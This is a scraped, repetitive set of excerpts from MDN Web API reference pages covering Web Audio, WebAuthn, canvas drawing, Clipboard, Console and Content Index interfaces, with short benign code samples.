you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioListener.speedOfSound - Web APIs
you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioListener.upX - Web APIs
WebAPIAudioListenerupX
you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioListener.upY - Web APIs
WebAPIAudioListenerupY
you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioListener.upZ - Web APIs
WebAPIAudioListenerupZ
you might be moving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
AudioParam.linearRampToValueAtTime() - Web APIs
the linearramptovalueattime() method of the audioparam interface schedules a gradual linear change in the value of the audioparam.
... the change starts at the time specified for the previous event, follows a linear ramp to the new value given in the value parameter, and reaches the new value at the time given in the endtime parameter.
... endtime a double representing the exact time (in seconds) after the ramping starts that the changing of the value will stop.
AudioParam.setValueAtTime() - Web APIs
the setvalueattime() method of the audioparam interface schedules an instant change to the audioparam value at a precise time, as measured against audiocontext.currenttime.
... syntax var audioparam = audioparam.setvalueattime(value, starttime) parameters value a floating point number representing the value the audioparam will change to at the given time.
... starttime a double representing the time (in seconds) after the audiocontext was first created that the change in value will happen.
AudioParamMap - Web APIs
the web audio api interface audioparammap represents a set of multiple audio parameters, each described as a mapping of a domstring identifying the parameter to the audioparam object representing its value.
... properties the audioparammap object is accessed as a map in which each parameter is identified by a name string which is mapped to an audioparam containing the value of that parameter.
... foreach() ?
AudioTrackList.length - Web APIs
the read-only audiotracklist property length returns the number of entries in the audiotracklist, each of which is an audiotrack representing one audio track in the media element.
...each track can be accessed by treating the audiotracklist as an array of objects of type audiotrack.
... var videoelem = document.queryselector("video"); var numaudiotracks = 0; if (videoelem.audiotracks) { numaudiotracks = videoelem.audiotracks.length; } note that this sample checks to be sure htmlmediaelement.audiotracks is defined, to avoid failing on browsers without support for audiotrack.
AudioWorkletProcessor.port - Web APIs
it can be used to communicate between the processor and the audioworkletnode to which it belongs.
... note: the port at the other end of the channel is available under the port property of the node.
... examples to demonstrate bidirectional communication capabilities, we'll create an audioworkletprocessor, which will output silence and respond to ping requests from its audioworkletnode.
AuthenticatorAssertionResponse - Web APIs
properties authenticatorassertionresponse.clientdatajson secure contextread only the client data for the authentication, such as origin and challenge.
... authenticatorassertionresponse.authenticatordata secure contextread only an arraybuffer containing information from the authenticator such as the relying party id hash (rpidhash), a signature counter, test of user presence and user verification flags, and any extensions processed by the authenticator.
... examples var options = { challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { var assertionresponse = credentialinfoassertion.response; // do something specific with the response // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) ...
AuthenticatorAttestationResponse.attestationObject - Web APIs
the public key that corresponds to the private key that has created the attestation signature is well known; however, there are various well known attestation public key chains for different ecosystems (for example, android or tpm attestations).
...for now, see the webauthn specification for details on each format.
... examples var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var attestationobj = newcredentialinfo.response.attestationobject; // this will be a cbor encoded arraybuffer // do something with the response // (sending it back to the relying party server maybe?) }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key cr...
AuthenticatorAttestationResponse - Web APIs
properties authenticatorattestationresponse.clientdatajson secure contextread only client data for the authentication, such as origin and challenge.
... methods authenticatorattestationresponse.gettransports()secure context returns an array of strings describing which transport methods (e.g.
... examples var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var response = newcredentialinfo.response; // do something with the response // (sending it back to the relying party server maybe?) }).catch(function (err) { console.error(err); }); specifications specification status comment ...
AuthenticatorResponse - Web APIs
the child interfaces include information from the browser such as the challenge origin and either may be returned from publickeycredential.response.
... examples getting an authenticatorassertionresponse var options = { challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { var assertionresponse = credentialinfoassertion.response; // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); getting an aut...
...henticatorattestationresponse var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var attestationresponse = newcredentialinfo.response; }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'authenticatorresponse interface' in that specification.
BaseAudioContext.createBufferSource() - Web APIs
the createbuffersource() method of the baseaudiocontext interface is used to create a new audiobuffersourcenode, which can be used to play audio data contained within an audiobuffer object.
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var button = document.queryselector('button'); var pre = document.queryselector('pre'); var myscript = document.queryselector('script'); pre.innerhtml = myscript.innerhtml; // stereo var channels = 2; // create an empty two second stereo buffer at the // sample rate of the audiocontext var framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; //just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { // t...
...his gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } // get an audiobuffersourcenode.
BaseAudioContext.createConstantSource() - Web APIs
the createconstantsource() property of the baseaudiocontext interface creates a constantsourcenode object, which is an audio source that continuously outputs a monaural (one-channel) sound signal whose samples all have the same value.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcreateconstantsourcechrome full support 56edge full support ≤79firefox full support 53ie no support noopera full support 43safari no support nowebview android full support 56chrome android full support 56firefox android full support 53op...
BaseAudioContext.createConvolver() - Web APIs
the createconvolver() method of the baseaudiocontext interface creates a convolvernode, which is commonly used to apply reverb effects to your audio.
...the example below uses a short sample of a concert hall crowd, so the reverb effect applied is really deep and echoey.
... for applied examples/information, check out our voice-change-o-matic demo (see app.js for relevant code).
BaseAudioContext.createPeriodicWave() - Web APIs
the createperiodicwave() method of the baseaudiocontext interface is used to create a periodicwave, which is used to define a periodic waveform that can be used to shape the output of an oscillatornode.
...the first value is the dc offset, which is the value at which the oscillator starts.
... a simple way of manually obtaining such coefficients (though not the best) is to use a graphing calculator.
BaseAudioContext.decodeAudioData() - Web APIs
the decodeaudiodata() method of the baseaudiocontext interface is used to asynchronously decode audio file data contained in an arraybuffer.
... syntax older callback syntax: baseaudiocontext.decodeaudiodata(arraybuffer, successcallback, errorcallback); newer promise-based syntax: promise<decodeddata> baseaudiocontext.decodeaudiodata(arraybuffer); parameters arraybuffer an arraybuffer containing the audio data to be decoded, usually grabbed from xmlhttprequest, windoworworkerglobalscope.fetch() or filereader.
...usually you'll want to put the decoded data into an audiobuffersourcenode, from which it can be played and manipulated how you want.
BeforeUnloadEvent - Web APIs
w: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/beforeunloadevent" target="_top"><rect x="116" y="1" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="201" y="30" font-size="12px" font-family="...
...consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">beforeunloadevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} bubbles no cancelable yes target objects defaultview interface event examples window.addeventlistener("beforeunload", function( event ) { event.returnvalue = "\o/"; }); // is equivalent to window.addeventlistener("beforeunload", function( event ) { event.preventdefault(); }); webkit-derived browsers don't follow the spec for the dialog box.
... window.addeventlistener("beforeunload", function (e) { var confirmationmessage = "\o/"; (e || window.event).returnvalue = confirmationmessage; // gecko + ie return confirmationmessage; /* safari, chrome, and other * webkit-derived browsers */ }); specifications specification status comment html living standardthe definition of 'beforeunloadevent' in that specification.
BluetoothAdvertisingData - Web APIs
rssi; readonly attribute map manufacturerdata; readonly attribute map servicedata; }; properties bluetoothadvertisingdata.appearance read only returns one of the values defined by the org.bluetooth.characteristic.gap.appearance characteristic.
... bluetoothadvertisingdata.txpower read only returns the transmission power at which the device is broadcasting, measured in dbm.
... bluetoothadvertisingdata.rssi read only returns the power at which the device’s packets are being received, measured in dbm.
Body.body - Web APIs
WebAPIBodybody
example in our simple stream pump example we fetch an image, expose the response's stream using response.body, create a reader using readablestream.getreader(), then enqueue that stream's chunks into a second, custom readable stream — effectively creating an identical copy of the image.
... const image = document.getelementbyid('target'); // fetch the original image fetch('./tortoise.png') // retrieve its body as readablestream .then(response => response.body) .then(body => { const reader = body.getreader(); return new readablestream({ start(controller) { return pump(); function pump() { return reader.read().then(({ done, value }) => { // when no more data needs to be consumed, close the stream if (done) { controller.close(); return; } // enqueue the next data chunk into our target stream controller.enqueue(value); return pump(); }); } } }) }) .then(stream => new response(stream)) .then(response => response.blob()) .then(blob => url.createobj...
...ecturl(blob)) .then(url => console.log(image.src = url)) .catch(err => console.error(err)); specifications specification status comment fetchthe definition of 'body' in that specification.
Body.bodyUsed - Web APIs
WebAPIBodybodyUsed
example in our fetch request example (run fetch request live), we create a new request using the request() constructor, then use it to fetch a jpg.
... when the fetch is successful, we read a blob out of the response using blob(), put it into an object url using url.createobjecturl, and then set that url as the source of an <img> element to display the image.
... html content <img class="my-image" src="https://udn.realityripple.com/samples/46/29059a2b39.png"> js content var myimage = document.queryselector('.my-image'); fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/delete_key1.jpg').then(function(response) { console.log(response.bodyused); var res = response.blob(); console.log(response.bodyused); return res; }).then(function(response) { var objecturl = url.createobjecturl(response); myimage.src = objecturl; }); specifications specification status comment fetchthe definition of 'bodyused' i...
Body - Web APIs
WebAPIBody
the body mixin of the fetch api represents the body of the response/request, allowing you to declare what its content type is and how it should be handled.
... examples the example below uses a simple fetch call to grab an image and display it in an <img> tag.
... html content <img class="my-image" src="https://udn.realityripple.com/samples/46/29059a2b39.png"> js content const myimage = document.queryselector('.my-image'); fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/delete_key1.jpg') .then(res => res.blob()) .then(res => { const objecturl = url.createobjecturl(res); myimage.src = objecturl; }); specifications specification status comment fetchthe definition of 'body' in that specification.
CSS.supports() - Web APIs
WebAPICSSsupports
the first one allows to test the support of a pair property-value: propertyname a domstring containing the name of the css property to check.
... value a domstring containing the value of the css property to check.
... the second syntax takes one parameter matching the condition of @supports: supportcondition a domstring containing the condition to check.
CSSOMString - Web APIs
when a specification says cssomstring, it depends on the browser vendors to choose whether to use domstring or usvstring.
... while browser implementations that use utf-8 internally to represent strings in memory can use usvstring when the specification says cssomstring, implementations that already represent strings as 16-bit sequences might choose to use domstring instead.
... implementation differences browser domstring or usvstring for cssomstring firefox (gecko) usvstring chrome (blink) usvstring safari (webkit) usvstring edge (edgehtml) - opera (blink) usvstring specifications specification status comment css object model (cssom)the definition of 'cssomstring' in that specification.
CSSPrimitiveValue.setFloatValue() - Web APIs
if the property attached to this value can't accept the specified unit or the float value, the value will be unchanged and a domexception will be raised.
... syntax cssprimitivevalue.setfloatvalue(unittype, floatvalue); parameters unittype an unsigned short representing the code for the unit type, in which the value should be returned.
... css_in the value is a <length> in inches.
CSSRule - Web APIs
WebAPICSSRule
constants type constants the cssrule interface specifies integer constants that can be used in conjunction with a cssrule's type property to discern the rule type (and therefore, which specialized interface it implements).
...cssrule.supports_rule 12 csssupportsrule cssrule.document_rule 13 cssdocumentrule cssrule.font_feature_values_rule 14 cssfontfeaturevaluesrule cssrule.viewport_rule 15 cssviewportrule cssrule.region_style_rule 16 cssregionstylerule cssrule.unknown_rule 0 cssunknownrule cssrule.charset_rule 2 csscharsetrule (removed in most browsers.) an up-to-date informal list of constants can be found on the csswg wiki.
... working draft obsoleted values charset_rule and unknown_rule.
CSSRuleList - Web APIs
description each cssrule can be accessed as rules.item(index), or simply rules[index], where rules is an object implementing the cssrulelist interface (such as cssstylesheet.cssrules), and index is the 0-based index of the rule, in the order as it appears in the style sheet css.
... note that being indirect-modify (changeable but only having read-methods), rules are not added or removed from the list directly, but instead here, only via its parent stylesheet.
...if however, for some reason the list does need to be modified but has no parent stylesheet (perhaps being a livecopy of a list that does), it cannot just be assigned one (as it has no such property), and neither can it be assigned to one (as stylesheet.cssrules is read-only), but it must unfortunately be inserted into one, rule by rule, and unless combining lists, after any existing list therein is deleted, rule by rule.
CSSStyleDeclaration.setProperty() - Web APIs
if priority can be omitted, javascript has a special simpler syntax for setting a css property on a style declaration object: style.csspropertyname = 'value'; examples in this example we have three buttons, which can be pressed to dynamically alter our box paragraph's border, background color, and text color to random values (see the live example at the end of this section).
...we then loop through the different rules contained inside the stylesheet, which are contained in the array found at stylesheet.cssrules; for each one, we check whether its cssstylerule.selectortext property is equal to the selector .box p, which indicates it is the one we want.
...in each case, this is done with the setproperty() method, for example boxpararule.style.setproperty('border', newborder); html <div class="controls"> <button class="border">border</button> <button class="bgcolor">background</button> <button class="color">text</button> </div> <div class="box"> <p>box</p> </div> css html { background: orange; font-family: sans-serif; height: 100%; } body { height: inherit; width: 80%; min-width: 500px; max-width: 1000px; margin: 0 auto; } .controls { display: flex; justify-content: space-around; align-items: center; } div button ...
CSSStyleRule.selectorText - Web APIs
if set to a selector string which cannot be parsed, a syntaxerror is thrown.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetselectortextchrome full support 1edge full support 12firefox full support 1ie full support 9opera full support yessafari full support 6webview android full support 4.4chrome android full support 18firefox android full support 4opera androi...
CSSStyleSheet.addRule() - Web APIs
styleblock a domstring indicating the style block to apply to elements matching the selector.
... index optional an optional index into the stylesheet's cssrulelist at which to insert the new rule.
... therefore, given existing code such as the following: cssstylesheet.addrule(selector, styles, 0); you can rewrite this to use the more standard insertrule() like this: cssstylesheet.insertrule(`${selector} {${styles}}`, 0); specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.addrule()' in that specification.
CanvasRenderingContext2D.arcTo() - Web APIs
note that the arc's second control point and the point specified by lineto() are the same, which produces a totally smooth corner.
...you can play around with range input to see how arc changes.
...x, p.y + y); } const drawpoints = function (points){ for (let i = 0; i < points.length; i++) { var p = points[i]; labelpoint(p, { x: 0, y: -20 } , i) } } // draw arc const drawarc = function ([p0, p1, p2], r) { ctx.beginpath(); ctx.moveto(p0.x, p0.y); ctx.arcto(p1.x, p1.y, p2.x, p2.y, r); ctx.lineto(p2.x, p2.y); ctx.stroke(); } let t0 = 0; let rr = 0; // the radius that changes over time let a = 0; // angle let pi2 = math.pi * 2; const loop = function (t) { t0 = t / 1000; a = t0 % pi2; rr = math.abs(math.cos(a) * r); ctx.clearrect(0, 0, canvas.width, canvas.height); drawarc([p1, p2, p3], rr); drawpoints([p1, p2, p3]); requestanimationframe(loop); } loop(0); result specifications specification status comment html livin...
CanvasRenderingContext2D.beginPath() - Web APIs
note: to create a new sub-path, i.e., one matching the current canvas state, you can use canvasrenderingcontext2d.moveto().
... syntax void ctx.beginpath(); examples creating distinct paths this example creates two paths, each of which contains a single line.
... html <canvas id="canvas"></canvas> javascript the beginpath() method is called before beginning each line, so that they may be drawn with different colors.
CanvasRenderingContext2D.drawImage() - Web APIs
dx the x-axis coordinate in the destination canvas at which to place the top-left corner of the source image.
... dy the y-axis coordinate in the destination canvas at which to place the top-left corner of the source image.
... type_mismatch_err the specified source element isn't supported.
CanvasRenderingContext2D.ellipse() - Web APIs
startangle the angle at which the ellipse starts, measured clockwise from the positive x-axis and expressed in radians.
... endangle the angle at which the ellipse ends, measured clockwise from the positive x-axis and expressed in radians.
... anticlockwise optional an optional boolean which, if true, draws the ellipse anticlockwise (counter-clockwise).
CanvasRenderingContext2D.globalAlpha - Web APIs
see also the chapter applying styles and color in the canvas tutorial.
...canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.globalalpha = 0.5; ctx.fillstyle = 'blue'; ctx.fillrect(10, 10, 100, 100); ctx.fillstyle = 'red'; ctx.fillrect(50, 50, 100, 100); result overlaying transparent shapes this example illustrates the effect of overlaying multiple transparent shapes on top of each other.
... with each new circle, the opacity of the previous circles underneath is effectively increased.
CanvasRenderingContext2D.lineCap - Web APIs
examples changing the shape of line caps this example rounds the end caps of a straight line.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.moveto(20, 20); ctx.linewidth = 15; ctx.linecap = 'round'; ctx.lineto(100, 100); ctx.stroke(); result comparison of line caps in this example three lines are drawn, each with a different value for the linecap property.
...each of these lines starts and ends exactly on these guides.
CanvasRenderingContext2D.lineJoin - Web APIs
"bevel" fills an additional triangular area between the common endpoint of connected segments, and the separate outside rectangular corners of each segment.
... examples changing the joins in a path this example applies rounded line joins to a path.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.linewidth = 20; ctx.linejoin = 'round'; ctx.beginpath(); ctx.moveto(20, 20); ctx.lineto(190, 100); ctx.lineto(280, 20); ctx.lineto(280, 150); ctx.stroke(); result comparison of line joins the example below draws three different paths, demonstrating each of the three linejoin options.
CanvasRenderingContext2D.stroke() - Web APIs
the stroke is drawn using the non-zero winding rule, which means that path intersections will still get filled.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.rect(10, 10, 150, 100); ctx.stroke(); result re-stroking paths typically, you'll want to call beginpath() for each new thing you want to stroke.
...range'; ctx.moveto(20, 20); ctx.lineto(160, 20); ctx.stroke(); // second sub-path ctx.linewidth = 14; ctx.strokestyle = 'green'; ctx.moveto(20, 80); ctx.lineto(220, 80); ctx.stroke(); // third sub-path ctx.linewidth = 4; ctx.strokestyle = 'pink'; ctx.moveto(20, 140); ctx.lineto(280, 140); ctx.stroke(); result stroking and filling if you want to both stroke and fill a path, the order in which you perform these actions will determine the result.
CanvasRenderingContext2D.textBaseline - Web APIs
"ideographic" the text baseline is the ideographic baseline; this is the bottom of the body of the characters, if the main body of characters protrudes beneath the alphabetic baseline.
... (used by chinese, japanese, and korean scripts.) "bottom" the text baseline is the bottom of the bounding box.
... html <canvas id="canvas" width="550" height="500"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const baselines = ['top', 'hanging', 'middle', 'alphabetic', 'ideographic', 'bottom']; ctx.font = '36px serif'; ctx.strokestyle = 'red'; baselines.foreach(function (baseline, index) { ctx.textbaseline = baseline; const y = 75 + index * 75; ctx.beginpath(); ctx.moveto(0, y + 0.5); ctx.lineto(550, y + 0.5); ctx.stroke(); ctx.filltext('abcdefghijklmnop (' + baseline + ')', 0, y); }); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.textbaselin...
Drawing text - Web APIs
« previousnext » after having seen how to apply styles and colors in the previous chapter, we will now have a look at how to draw text onto the canvas.
...there are some more properties which let you adjust the way the text gets displayed on the canvas: font = value the current text style being used when drawing text.
... a textbaseline example edit the code below and see your changes update live in the canvas: ctx.font = '48px serif'; ctx.textbaseline = 'hanging'; ctx.stroketext('hello world', 0, 100); playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> <input id="edit" type="button" value="edit" /> <input id="reset" type="button" value="reset" /> </div> <textarea id="code" class="playable-c...
Canvas tutorial - Web APIs
<canvas> is an html element which can be used to draw graphics via scripting (usually javascript).
...the images on this page show examples of <canvas> implementations which will be created in this tutorial.
...in order to draw graphics on the canvas we use a javascript context object, which creates graphics on the fly.
Clients.openWindow() - Web APIs
in chrome for android, the method may instead open the url in an existing browsing context provided by a standalone web app previously added to the user's home screen.
... as of recently, this also works on chrome for windows.
....', data: { url: self.location.origin + '/some/path' }, // data: { url: 'http://example.com' }, }; self.registration.shownotification('you\'ve got messages!', notificationobject); } // notification click event listener self.addeventlistener('notificationclick', e => { // close the notification popout e.notification.close(); // get all the window clients e.waituntil(clients.matchall({ type: 'window' }).then(clientsarr => { // if a window tab matching the targeted url already exists, focus that; const hadwindowtofocus = clientsarr.some(windowclient => windowclient.url === e.notification.data.url ?
Clipboard.read() - Web APIs
WebAPIClipboardread
unlike readtext(), the read() method can return arbitrary data, such as images.
... note: the asynchronous clipboard and permissions apis are still in the process of being integrated into most browsers, so they often deviate from the official rules for permissions and the like.
... example after using navigator.permissions.query() to find out if we have (or if the user will be prompted to allow) "clipboard-read" access, this example fetches the data currently on the clipboard.
Clipboard.writeText() - Web APIs
note: browser support for the asynchronous clipboard apis is still in the process of being implemented.
... be sure to check the compatibility table as well as clipboard availability in clipboard for more information.
... return value a promise which is resolved once the clipboard's contents have been updated.
ClipboardItem() - Web APIs
the clipboarditem() constructor of the clipboard api creates a new clipboarditem object which represents data to be stored or retrieved via the clipboard api, that is clipboard.write() and clipboard.read() respectively.
... examples the below example requests a png image using the fetch api, and in turn, the responses' blob() method, to create a new clipboarditem and write it to the clipboard, using the clipboard api.
... async function writeclipimg() { try { const imgurl = '/myimage.png'; const data = await fetch(imgurl); const blob = await data.blob(); await navigator.clipboard.write([ new clipboarditem({ [blob.type]: blob }) ]); console.log('fetched image copied.'); } catch(err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
Clipboard API - Web APIs
the clipboard api provides the ability to respond to clipboard commands (cut, copy, and paste) as well as to asynchronously read from and write to the system clipboard.
...the clipboard-read permission must be requested, which you can do by trying to read data from the clipboard.
... accessing the clipboard instead of creating a clipboard object through instantiation, you access the system clipboard through the navigator.clipboard global: navigator.clipboard.readtext().then( cliptext => document.queryselector(".editor").innertext += cliptext); this snippet fetches the text from the clipboard and appends it to the first element found with the class editor.
CompositionEvent - Web APIs
ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/uievent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,mon...
...aco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">uievent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#d4dde4" fill="none"/><line x1="201" y1="25" x2="231" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/compositionevent" target="_top"><rect x="231" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="311" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">compositionevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor compositionevent() creates a new compositionevent object instance.
... compositionevent.data read only returns the characters generated by the input method that raised the event; its varies depending on the type of event that generated the compositionevent object.
console.debug() - Web APIs
WebAPIConsoledebug
the string representations of each of these objects are appended together in the order listed and output to the console.
... msg a javascript string containing zero or more substitution strings, which are replaced with subst1 through substn in consecutive order.
...substn javascript objects with which to replace substitution strings within msg.
Console.table() - Web APIs
WebAPIConsoletable
this function takes one mandatory argument data, which must be an array or an object, and one additional optional parameter columns.
...each element in the array (or enumerable property if data is an object) will be a row in the table.
... // an object whose properties are objects var family = {}; family.mother = new person("jane", "smith"); family.father = new person("john", "smith"); family.daughter = new person("emily", "smith"); console.table(family); restricting the columns displayed by default, console.table() lists all elements in each row.
Console.warn() - Web APIs
WebAPIConsolewarn
note: this feature is available in web workers.note: in chrome and firefox, warnings have a small exclamation point icon next to them in the web console log.
...the string representations of each of these objects are appended together in the order listed and output.
...substn javascript objects with which to replace substitution strings within msg.
Console API - Web APIs
the console api provides functionality to allow developers to perform debugging tasks, such as logging messages or the values of variables at set points in your code, or timing how long an operation takes to complete.
...find out about these at: google chrome devtools implementation safari devtools implementation usage is very simple — the console object — available via window.console, or workerglobalscope.console in workers; accessible using just console — contains many methods that you can call to perform rudimentary debugging tasks, generally focused around logging various values to the browser's web console.
... by far the most commonly-used method is console.log, which is used to log the current value contained inside a specific variable.
ContentIndex.add() - Web APIs
WebAPIContentIndexadd
return value returns a promise that resolves with undefined exceptions typeerror if the service worker's registration is not present or the service worker does not contain a fetchevent.
... examples here we're declaring an item in the correct format and creating an asynchronous function which uses the add method to register it with the content index.
... // our content const item = { id: 'post-1', url: '/posts/amet.html', title: 'amet consectetur adipisicing', description: 'repellat et quia iste possimus ducimus aliquid a aut eaque nostrum.', icons: [{ src: '/media/dark.png', sizes: '128x128', type: 'image/png', }], category: 'article' }; // our asynchronous function to add indexed content async function registercontent(data) { const registration = await navigator.serviceworker.ready; // feature detect content index if (!registration.index) { return; } // register content try { await registration.index.add(data); } catch (e) { console.log('failed to register content: ', e.message); } } the add method can also be used within the service worker scope.
ContentIndex.delete() - Web APIs
it does not delete anything from the cache.
... examples below is an asynchronous function, that removes an item from the content index.
... we receive a reference to the current serviceworkerregistration, which allows us to access the index property and thus access the delete method.
ContentIndex.getAll() - Web APIs
contentdescription each item returned is an object containing the following data: id: a unique string identifier.
... examples the below example shows an asynchronous function that retrieves items within the content index and iterates over each entry, building a list for the interface.
...ssage = document.createelement('p'); message.innertext = 'you currently have no articles saved for offline reading.' readinglistelem.append(message); } else { // if entries are present, display in a list of links to the content const listelem = document.createelement('ul'); for (const entry of entries) { const listitem = document.createelement('li'); const anchorelem = document.createelement('a'); anchorelem.innertext = entry.title; anchorelem.setattribute('href', entry.url); listelem.append(listitem); } readinglistelem.append(listelem); } } specifications specification status comment unknownthe definition of 'getall' in that specification.
CustomElementRegistry.whenDefined() - Web APIs
<menu-item>item n</menu-item> </nav-menu> </nav> const container = document.getelementbyid('menu-container'); const placeholder = container.queryselector('.menu-placeholder'); // fetch all the children of menu that are not yet defined.
... const undefinedelements = container.queryselectorall(':not(:defined)'); const promises = [...undefinedelements].map( button => customelements.whendefined(button.localname) ); // wait for all the children to be upgraded, // then remove the placeholder.
... await promise.all(promises); container.removechild(placeholder); specifications specification status comment html living standardthe definition of 'customelements.whendefined()' in that specification.
CustomEvent.initCustomEvent() - Web APIs
if the event has already been dispatched, this method does nothing.
...this method must be called to set the event before it is dispatched, using eventtarget.dispatchevent().
... once dispatched, it doesn't do anything anymore.
DOMException() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdomexception() constructorchrome full support yesedge full support 79firefox ?
... webview android full support yeschrome android full support yesfirefox android ?
DOMException.message - Web APIs
